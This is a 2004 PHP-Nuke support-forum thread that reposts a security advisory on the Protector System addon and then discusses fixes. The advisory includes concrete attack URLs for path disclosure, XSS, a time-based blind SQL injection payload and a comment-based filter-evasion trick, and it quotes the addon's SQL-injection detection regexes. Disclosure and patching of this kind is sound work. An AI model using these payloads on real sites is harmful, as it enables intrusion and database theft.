You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 52 guest(s) and 0 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Nuke Cops :: View topic - Multiple vulnerabilities in Protector System 1.15b1 for Nuke [ ]
 Forum FAQ  •  Search  •   •  Memberlist  •  Usergroups   •  Register  •  Profile •    •  Log in to check your private messages  •  Log in

 
This forum is locked: you cannot post, reply to, or edit topics.  This topic is locked: you cannot edit posts or make replies.printer-friendly view
View previous topic Log in to check your private messages View next topic
Author Message
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sat Apr 24, 2004 11:29 am Reply with quoteBack to top

Increible, the Protector has Security Holes.

http://www.securityfocus.com/archive/1/361300/2004-04-21/2004-04-27/0

Exclamation Exclamation
Find all posts by Johan1982View user's profileSend private message
foxyfemfem
Support Staff
Support Staff


Joined: Jan 23, 2003
Posts: 668

Location: USA

PostPosted: Sat Apr 24, 2004 2:13 pm Reply with quoteBack to top

Wow!, I just read that article ... spooky... real spooky. I think the person who post that is a member of nukecops. I've seen that username before...

_________________
If you shoot for the moon and miss, you'll still be amongst the stars.
Find all posts by foxyfemfemView user's profileSend private message
southernwolf
Corporal
Corporal


Joined: Dec 14, 2003
Posts: 56

Location: Texas

PostPosted: Sat Apr 24, 2004 5:39 pm Reply with quoteBack to top

Sure seems like Protector is vulnerable to even remote hacks.
Code:

{================================================================================}
{                              [waraxe-2004-SA#025]                              }
{================================================================================}
{                                                                                }
{      [ Multiple vulnerabilities in Protector System 1.15b1 for PhpNuke ]       }
{                                                                                }
{================================================================================}
                                                                                                                               
Author: Janek Vind "waraxe"
Date: 23. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=25


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Protector System - A PHPNuke addon for blocking ip numbers from your site & prevent
hack attempt!

Creator: Marcus aka Mister
Mail: mister@warcenter.se
Home page: http://www.warcenter.se
Support page: http://protector.warcenter.se


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1 - unchecked user submitted variable "portNum" (in integrated Network Query Tool)

If we make http request like this:

http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar

... then we will see standard php error messages, revealing full path to script:

Warning: fsockopen() expects parameter 2 to be long, string given in D:\apache_wwwroot\nuke72\admin\modules\blocker_query.php on line
 305
Port foobar does not appear to be open.

Reason is, that script does not check validity of the portNum, which must be integer in range of 1..65535.



B. Cross-site scripting aka XSS (in integrated Network Query Tool)


B1 - XSS through unsanitaized user submitted variable "target"

http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com">[xss code here]


B2 - XSS through unsanitaized user submitted variable "portNum"

http://localhost/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar[xss code here]



C. Sql injection:

C1 - noncritical sql injection in "blocker.php"

Let's look at original code in /includes/blocker.php line 252:


if( isset( $_SERVER ) ) { $ref_addr = $_SERVER['HTTP_REFERER']; }
        else { $ref_addr = getenv( 'HTTP_REFERER' ); }
       
        if( isset( $_SERVER ) )
        {
           $last_page = $_SERVER['SCRIPT_NAME'];
           if (($_SERVER['QUERY_STRING']) != "") { $last_page = $last_page . "?" . $_SERVER['QUERY_STRING'] ;}
           $query_blocker = $_SERVER['QUERY_STRING'] ;
        }
        else
        {
      $last_page = getenv(SCRIPT_NAME);
      if ((getenv(QUERY_STRING)) != "") { $last_page = $last_page . "?" . getenv(QUERY_STRING) ;}
   }
      $last_page = urldecode($last_page);

As we can see, $last_page has value of the urldecoded QUERY_STRING. So if we will add to query
string something like %27, then after urldecode() we have "'" (single quote) and this can be
beginning of the brand new sql injection case. Let's look further:

            ###################################
       #Page Tracker Function by Kipuka
       #
       ###################################
      if ($tracker_del_on == 1) {
                $max_tracker_check = $db->sql_query("SELECT count(*) as count FROM ".$prefix."_blocked_pagetracker WHERE id_tracker
 = '$access_id'");
                $numrows = $db->sql_numrows($max_tracker_check);
      
                if ($numrows > 0) {
                list($count) = $db->sql_fetchrow($max_tracker_check);
                }
            //die("$last_page");
                if ($count < $tracker_max_b) {
                $db->sql_query("INSERT DELAYED INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page',
 '$date', '$access_id')");
            
            $sqlx = "INSERT DELAYED INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page', '$date',
 '$access_id')";
            $xxx = mysql_error();
            //die("$xxx");
            
                } else {
                $tracker_limitB = $count - $tracker_max_b;
                $result = $db->sql_query("SELECT id FROM ".$prefix."_blocked_pagetracker WHERE id_tracker = '$access_id' ORDER BY
 page_date LIMIT ".$tracker_limitB.",1");
                $numrows = $db->sql_numrows($result);
                if ($numrows > 0) {
                    $row = $db->sql_fetchrow($result);
                    $page_id = $row['id'];
                    $db->sql_query("DELETE FROM ".$prefix."_blocked_pagetracker WHERE id_tracker = '$access_id' AND id <= '$page_id'");
                }
               $xxx = mysql_error();
               die("$xxx");
                  $db->sql_query("INSERT INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page',
 '$date', '$access_id')");
               }
      }

So, sql injection possibility exists, but not in "SELECT FROM" clause, but in "INSERT INTO" construction. So forget the
UNION and JOIN tricks. And MySql version 4.1 is not yet in wide use, so we can't use subselects ...
Therefore this is noncritical sql injection case, but anyway, potential attacker can use this security hole to
accomplish some tasks by using of the built-in mysql functions like:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
VERSION()

Because attacker does'nt have the visual feedback from script, "blindfolded" methods must be used, for example
"benchmark" method. This can be implemented in perl (php, python, etc...) script, using http requests similar to this:

http://localhost/nuke72/index.php?foobar%27,IF(ord(mid(USER(),1,1))%3d114,benchmark(500000,md5(1337)),1),2)/*

I have written proof of concept code in perl for this exploit and it works perfectly.


D. Easy bypass of the anti-sql-injection filters

Protector System implements various filters against XSS and sql injection. Examples:

...

//IF the user sending any  $_SERVER["HTTP_REFERER"] then continue
if (strlen($_SERVER["HTTP_REFERER"]) > 0) {
      //If the user is POSTing from another server do a scan
if(eregi("(^|[^a-zA-Z0-9])union(\ )+(all\ |distinct\ )?(\ )*select\ |\.\.\/", $sTemp) && !ereg("(http://$_SERVER[HTTP_HOST])", $_SERVER["HTTP_REFERER"]))
       {
        $original_ip = long2ip(-(4294967296-$ipcheck));
      $the_error = "User $the_blocked_user with IP $original_ip tried to send information thru a POST method\r\n"
 
...

if(eregi("(^|[^a-zA-Z0-9])union(\ )+(all\ |distinct\ )?(\ )*select\ |\.\.\/", $sTemp))
   {
   //Just send a mail incase =)
   if ($pro_mail && $pro_mail != '' && $mail_blocker == '1') { mail($pro_mail, $blocker_subject, $the_unset_error, $headers); }
           unset($_POST[$FormFieldName]);
           echo "<p><h1>Your Attempt to use SQL exploit was blocked</h1>";
           echo "<i>Powered whit Protector System</i>";
           die();
         }
   }

...

if($sec_cookieB == '1')
 
foreach ($_COOKIE as $cookie_name => $value_cookie) {
    $result = $db ->sql_query("SELECT cookie FROM ".$prefix."_blocked_agent WHERE cookie = '$cookie_name'");
    if($db->sql_numrows($result)>0 && !empty($_COOKIE))
    {          
   if (eregi("union\ |&#?[a-zA-Z0-9]+;|:\/\/|\.\.\/|[$<>{}\(\)\"'`]", $value_cookie)) {
   $value_cookie = htmlspecialchars($value_cookie, ENT_QUOTES);
   setcookie($cookie_name,"", time() - 3600);
              unset($_COOKIE[$cookie_name]);
            }
 

...

###########################################################################
#Block unvanted GET code!
#Security scan of REQUEST_METHOD GET
 
############################################################################
if($sec_getB == '1')
 
if ((eregi("admin.php", $_SERVER['PHP_SELF']) && preg_match("/\?admin/", "$last_page")) OR (eregi("(^|[^a-zA-Z0-9])union(\ )+(all\
 |distinct\ )?(\ )*select\ |\.\.\/", $last_page)) OR (stristr($last_page, "admin=")))
 

...

Nice try - not only GET, but POST and COOKIE variables get sanitized too ;)
But look, what i have readed some days ago:

http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html

This whitepaper, written by Ofer Maor and Amichai Shulman, describes various methods to
bypass sql injection detection and the final conclusion is:

"At this point, we believe the conclusion of this paper is clear to the
reader. Signature protection against SQL Injection is simply not
enough. Although this paper demonstrates only some of the variety
of evasion techniques for avoiding SQL Injection signatures, some or
even all of these techniques are likely to operate on most of today's
signature protection mechanisms."

I`m hundred percent agree with this. So let's try to fool sql injection filters in
Protector System in practice. First, we make request like this:

http://localhost/nuke72/index.php?foo=bar%20UNION%20SELECT%20ALL%20FROM%20WHERE

Oops, we got caught by Protector System: "The ip 127.0.0.1 has been blocked!"

Ok, it's time to show, how to evade this filter with using of the sql comments:

http://localhost/nuke72/index.php?foo=bar%20U/**/NION%20SELECT%20ALL%20FROM%20WHERE

Bingo! Filter does let us through!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ---------------------------------

http://www.securitytracker.com/alerts/2004/Apr/1009933.html

But, then, I don't rely on any single system.
Find all posts by southernwolfView user's profileSend private messageVisit poster's website
Tank863
Lieutenant
Lieutenant


Joined: Feb 21, 2003
Posts: 195

Location: Philadelphia

PostPosted: Sat Apr 24, 2004 6:21 pm Reply with quoteBack to top

Wow...

I tried the expolit posted by Janek..

First try, Raven's modified hack alert script caught it.. hmmm seems promising...

First Try, Protector caught it... another catch

First Try, Admin secure caught it... good deal



Second try...

Hackalert missed it, Proetctor Missed it, Admin Secure missed it..

uh ohhhhhhhhh

anyone else have suggestions...
Find all posts by Tank863View user's profileSend private messageVisit poster's websiteICQ Number
Frez
Captain
Captain


Joined: Nov 05, 2003
Posts: 353


PostPosted: Sat Apr 24, 2004 10:24 pm Reply with quoteBack to top

http://nukefixes.com/ftopict-557.html

_________________
Nukenorway-official Support in Norway :: My Muddlehead-Site - SurreCafeen
Find all posts by FrezView user's profileSend private message
Tank863
Lieutenant
Lieutenant


Joined: Feb 21, 2003
Posts: 195

Location: Philadelphia

PostPosted: Sun Apr 25, 2004 5:30 am Reply with quoteBack to top

Thank you Frez,

It is a lot better when all the Php-Nuke Experts work together on creating security measures.

In your post, you have Charserv and Raven offering solutions. Then here we have Zhen's new script.

I will implement all changes asap...
Find all posts by Tank863View user's profileSend private messageVisit poster's websiteICQ Number
Stephen2417
Major
Major


Joined: Dec 26, 2003
Posts: 1135

Location: Bristolville, OH (US)

PostPosted: Sun Apr 25, 2004 8:11 am Reply with quoteBack to top

Can some one post what the fix is at nukefixes.. Im havin computer problems and im gettin a dns error.

Im waiting for someone to help me on CCSP..
Find all posts by Stephen2417View user's profileSend private messageSend e-mailVisit poster's websiteAIM Address
MisterWORK
Support Mod
Support Mod


Joined: Jun 11, 2003
Posts: 245


PostPosted: Sun Apr 25, 2004 12:48 pm Reply with quoteBack to top

To bad he didn't maild me. But thx to VinDSL who maild me of this. And as I said on my own suport site DELETE the file blocker_query.php .

This was just an 3.d party addon script i put in before my system even was a Protector system and just a ban system, and have no function directly used by my system. We can still use outsuíde query sites for this function so I say this again DELETE the file blocker_query.php.

And about the index.php?foobar%27,IF bla bla i think I can just use the function addslashes ( string str);

So the new code might look like this..

Code:

addslashes($last_page);
$db->sql_query("INSERT INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) VALUES ('$last_page',
 '$date', '$access_id')");


So now we "only" have the U/**/NION thing left and as I just post this as a very fast answer (have bearly read the whole Multiple vulnerabilities in Protector System thing)

I myselves tried that and cant get any data from my db. Might be me who just missunderstand the whole U/**/NION thing here, but when i tried white the real UNI0N then I get data. But i promiss i will look at this and others whit me (i hope Very Happy )

_________________
Protector System for phpNuke.
<b>Current Version Released: 1.15.b2( 05/12-04) </b>
Support site: http://protector.warcenter.se
Find all posts by MisterWORKView user's profileSend private messageSend e-mailVisit poster's website
foxyfemfem
Support Staff
Support Staff


Joined: Jan 23, 2003
Posts: 668

Location: USA

PostPosted: Sun Apr 25, 2004 1:59 pm Reply with quoteBack to top

Hello Mister,

My blocker.php file has this...
//$db->sql_query("INSERT INTO ".$prefix."_blocked_pagetracker (last_page ,page_date ,id_tracker) values ('$last_page', '$date', '$access_id')");

*Note the line in question is comment out. If this is comment out, does that mean it's still vulnerable and I still need to add......
addslashes($last_page); before that statement?

_________________
If you shoot for the moon and miss, you'll still be amongst the stars.
Find all posts by foxyfemfemView user's profileSend private message
genoxide
Sergeant
Sergeant


Joined: Jun 19, 2003
Posts: 80


PostPosted: Sun Apr 25, 2004 7:29 pm Reply with quoteBack to top

foxyfemfem, repeate your search and u will find out that there is another line with the same code mister told us Wink

_________________
Image
Find all posts by genoxideView user's profileSend private messageVisit poster's website
bohrme
Sergeant
Sergeant


Joined: Nov 10, 2003
Posts: 104

Location: Fall River, MA

PostPosted: Mon Apr 26, 2004 6:19 pm Reply with quoteBack to top

Couldn't a substitution take place (somewhere) on the URI that replaces all instances of /*(any character)*/ with a null?

This little snippets works to clear out that /**/ nonsense:
Code:
$checkurl = preg_replace("#(/\*.*\*/)#", "", $checkurl);


Where might something like this go?

_________________
BohrMe
eSnider.Net
Find all posts by bohrmeView user's profileSend private messageVisit poster's website
MisterWORK
Support Mod
Support Mod


Joined: Jun 11, 2003
Posts: 245


PostPosted: Mon Apr 26, 2004 10:30 pm Reply with quoteBack to top

That is already sorted but thnks for your info.. I will release a fixed blocker.php file later on today. You must visit my site for info about that later. http://protector.warcenter.se

_________________
Protector System for phpNuke.
<b>Current Version Released: 1.15.b2( 05/12-04) </b>
Support site: http://protector.warcenter.se
Find all posts by MisterWORKView user's profileSend private messageSend e-mailVisit poster's website
bohrme
Sergeant
Sergeant


Joined: Nov 10, 2003
Posts: 104

Location: Fall River, MA

PostPosted: Tue Apr 27, 2004 2:55 am Reply with quoteBack to top

Will this new blocker.php be 1.15.xx specific or can it be used with 1.14.xx as well? I'm sure there are many people out there who have yet to upgrade.

_________________
BohrMe
eSnider.Net
Find all posts by bohrmeView user's profileSend private messageVisit poster's website
MisterWORK
Support Mod
Support Mod


Joined: Jun 11, 2003
Posts: 245


PostPosted: Tue Apr 27, 2004 3:07 am Reply with quoteBack to top

It's for 1.15x .

But i recomend ALL that use my system to delete the file blocker_query.php.
No mather what version they are using!!!

_________________
Protector System for phpNuke.
<b>Current Version Released: 1.15.b2( 05/12-04) </b>
Support site: http://protector.warcenter.se
Find all posts by MisterWORKView user's profileSend private messageSend e-mailVisit poster's website
sdesign
Corporal
Corporal


Joined: Nov 25, 2003
Posts: 54


PostPosted: Mon May 10, 2004 4:55 pm Reply with quoteBack to top

Hey thats strange, the author of that document was the guy that attempted to hack my site Confused

So, is Mr.W the cause of all this?
Find all posts by sdesignView user's profileSend private message
Display posts from previous:      
This forum is locked: you cannot post, reply to, or edit topics.  This topic is locked: you cannot edit posts or make replies.printer-friendly view
View previous topic Log in to check your private messages View next topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



Powered by phpBB © 2001, 2005 phpBB Group

Ported by Nuke Cops © 2003 www.nukecops.com
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::
Powered by · TOGETHER TEAM srl ITALY http://www.togetherteam.it · DONDELEO E-COMMERCE http://www.DonDeLeo.com
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.294 Seconds - 296 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::